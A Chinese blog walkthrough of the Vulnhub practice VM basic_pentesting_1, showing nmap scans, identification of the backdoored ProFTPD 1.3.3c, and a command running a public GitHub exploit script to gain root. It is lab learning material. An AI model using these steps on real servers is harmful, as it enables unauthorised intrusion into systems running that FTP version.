Vulnhub靶机：basic_pentesting_1

最新推荐文章于 2024-06-21 16:02:02 发布
最新推荐文章于 2024-06-21 16:02:02 发布
阅读量369 收藏 8
点赞数 9
分类专栏： 靶场 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_48904485/article/details/136378274
版权

一、介绍

运行环境：Virtualbox

攻击机：kali（10.0.2.4）

靶机：basic_pentesting_1（10.0.2.6）

目标：获取靶机root权限和flag

靶机下载地址：https://www.vulnhub.com/entry/basic-pentesting-1,216/

二、信息收集

使用nmap主机发现靶机ip：10.0.2.6

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口：21、22、80

nmap -A 10.0.2.6 -p 1-65535

在这里插入图片描述

根据nmap的扫描结果发现ftp的版本为ProFTPD 1.3.3c，使用searchsploit工具搜索该版本的历史漏洞，发现存在命令执行漏洞

在这里插入图片描述

三、漏洞利用

我们下载该漏洞的exp：https://github.com/shafdo/ProFTPD-1.3.3c-Backdoor_Command_Execution_Automated_Script

运行exp，直接获得root权限

python proFTPD_1.3.3c_exploit.py 10.0.2.4 10.0.2.6 21

在这里插入图片描述

[外链图片转存中...(img-UqvnK9Tt-1709203078796)]

未发现flag

huang0c
关注
  • 9
    点赞
  • 踩
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
[Vulnhub] basic_pentesting_1
weixin_46739058的博客
05-08 835
vulnhub靶场：basic_pentesting 适合新手，难度较低
【Vulnhub】basic_pentesting_1
zhangshuaiijie的博客
06-29 148
三个端口，ftp,ssh,http看来突破口不在网站上，那就看看是不是ftp，ssh和apache的问题，nmap扫描版本这个版本正确，而且msf上有。
Vulnhub靶场渗透-basic_pentesting_1
paidx0
09-22 628
前言 靶机ip（192.168.110.134） 攻击机ip（192.168.110.127） 网络NAT模式 这次的靶场比较简单，却绕了挺大弯的 信息收集 找到隐藏页 简单翻了一下也没啥可以利用的东西，继续扫隐藏页目录 找到一些看似有用其实没啥用的东西，比如WordPress的登录页，文件包含页 这全都是误导，显然我被骗了，一直在爆破登录页和一个一个文件的看，文件数量太多了浪费很多时间 正确解法 重新回到nmap，这次不偷懒，更详细的扫描一下服务的版本号 nmap -A -v 192.168
靶场练习第五天~vulnhub靶场之basic_pentesting_1
qq_57976347的博客
01-30 712
一、信息收集 1.主机发现 （1）Netdiscover：专用的二层发现工具，拥有主动和被动发现两种方式 具体操作如下，查看一下kali的ip 然后使用命令sudo netdiscover，发现了靶机的ip 2.端口扫描，服务识别 （1)使用nmap -A 开放的端口以及靶场操作系统和版本的探测，使用方法：nmap -A 192.168.101.106 二、后渗透 1.根据服务版本搜索相关漏洞 这里用到msfconsole，关于msfconsole介绍：msfconsole..
靶机渗透测试：basic_pentesting_1靶机提权
x_13579的博客
04-13 699
靶场提权
Vulnhub靶机系列：De-ICE: S1.120
01-09
靶机默认ip是192.168.1.120,最好设一个对应网段的网卡给它，我的这篇文章有简单指导Vulnhub靶机系列：pWnOS: 2.0另外iso文件如何导入就不赘述了，安装完最好重启一下。完成上述步骤后可以netdiscover一下确定。 利用...
Vulnhub靶机系列：Kioptrix: Level 1.2 (#3)
01-09
这次的靶机是Vulnhub靶机：Kioptrix: Level 1.2 (#3) 文章目录靶机地址及相关描述靶机设置利用知识及工具信息收集并getshell提权总结 靶机地址及相关描述 https://www.vulnhub.com/entry/kioptrix-level-12-3,24/ ...
vulnhub靶机实战-My-cmsms靶机
09-29
vulnhub靶机实战-My-cmsms靶机 本文档将针对vulnhub靶机实战-My-cmsms靶机，详细讲解靶机的主机发现、端口扫描、服务版本识别等相关技术。 主机发现 在靶机实战中，主机发现是指通过各种技术手段来发现目标网络中...
Vulnhub靶机渗透测试 Five-1靶机
12-07
Vulnhub靶机渗透测试 Five-1靶机
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
【网络安全】网络安全威胁及途径
衍生星球的博客
06-17 191
目前，网络的主要应用包括：电子商务、网上银行、股票、证券、期货交易、即时通信、邮件、网游、下载文件或点击链接等，这些应用都存在大量的安全威胁和隐患。网络安全管理中出现的漏洞和疏忽都属于人为因素，网络安全中最突出的问题是缺乏完善的法律法规、管理准则规范和制度、网络安全组织机构及人员，不够重视或缺少安全检测及实时有效的监控、维护和审计。网络安全的威胁和风险主要涉及网络系统研发、结构、层次、范畴、应用和管理等，要做好网络安全防范，必须进行认真深入的调研、分析和研究，以解决网络系统的安全风险及隐患。
网络安全（补充）
m0_62207482的博客
06-15 683
物理安全威胁一般分为自然安全威胁和人为安全威胁。自然安全威胁包括地震、洪水、火灾、鼠害、雷电；；；；人为安全威胁包括盗窃、爆炸、毁坏、硬件安全 防火墙白名单策略：只允许符合安全规则的包通过防火墙，其他通信包禁止 防火墙名单策略：禁止与安全规则相冲突的包通过防火墙，其他通信包都允许 将入侵检测系统置于防火墙内部，使得很多对网络的攻击首先被防火墙过滤，也就是防火墙是首当其冲的，从而减少了对内部入侵检测系统的干扰，提高入侵检测系统的准确率，但是其检测能力不会变化 通过VPN技术，企业可以在远程用户、分
网络安全练气篇——OWASP TOP 10
weixin_55762309的博客
06-13 1275
OWASP（开放式Web应用程序安全项目）是一个开放的社区，由非营利组织 OWASP基金会支持的项目。对所有致力于改进应用程序安全的人士开放，旨在提高对应用程序安全性的认识。其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ，总结并更新Web应用程序中最可能、最常见、最危险的十大漏洞，是开发、测试、服务、咨询人员应知应会的知识。最重要的版本应用程序中最严重的十大风险。
网络安全筑基篇——SQL注入
weixin_55762309的博客
06-17 1143
SQL（Structured Query Language，结构化查询语言）是一种用于管理关系型数据库系统的语言，它可以用于创建、修改和删除数据库中的表和记录，以及执行查询操作。简单易学：SQL语法相对简单，易于理解和学习。高效灵活：SQL可以执行快速和复杂的数据库操作，如插入、更新、删除和查询。标准化：SQL是一种标准化的语言，大多数关系型数据库系统都支持SQL。表达能力强：SQL支持各种复杂的查询和数据操作，可以根据需要进行数据的筛选、排序、合并等操作。
[网络安全产品]---EDR
嘿嘿嘿
06-21 1055
EDR（Endpoint Detection and Response，端点检测和响应）,这是一种技术或者说是解决方案，它记录端点上的行为，使用数据分析和基于上下文的信息检测来发现异常和恶意活动，并记录有关恶意活动的数据，使安全团队能够调查和响应事件。此外EDR 解决方案会在每台设备上安装一个软件代理，以确保整个数字生态系统对安全团队可见，将监控终端数据传送给EDR平台，对于终端安全的防御还是基于EDR平台，所以减轻的终端为保护自身安全所牺牲的性能。-------这里我觉得和态势感知的过程异曲同工之妙。
访问外网的安全保障——反向沙箱
最新发布
Canon_YK的博客
06-21 255
目前许多安全厂家因为使用的需求，进而研制出反向沙盒，其中深信达SPN（Sandbox Proxy Network）安全上网解决方案，是直接把终端传统外网物理断开，然后在内网中部署一个沙盒安全上网网关主机，在需要访问外网的终端上安装一个沙盒，当需要访问互联网的时候，在这个隔离沙盒内访问互联网。然而，需要注意的是，虽然反向沙箱为我们提供了强大的网络安全防护能力，但它并非万能的解决方案。由此可见，反向沙箱的运行逻辑是和正常的沙箱是相反的，只能通过沙盒的安全空间以及网关上的设置使得上外网只能通过改途径。
【网络安全产品】---网闸
嘿嘿嘿
06-20 411
了解了不少安全产品，但是对网闸的理解一直比较模糊，今天。
vulnhub靶机系列：
09-09
1. Kioptrix：这是一个非常受欢迎的系列，包含了多个不同难度级别的靶机。从初级到高级的挑战，覆盖了各种网络安全知识。 2. Metasploitable：这个系列模拟了一个容易受到攻击的系统，用于学习Metasploit框架和漏洞...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huang0c

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值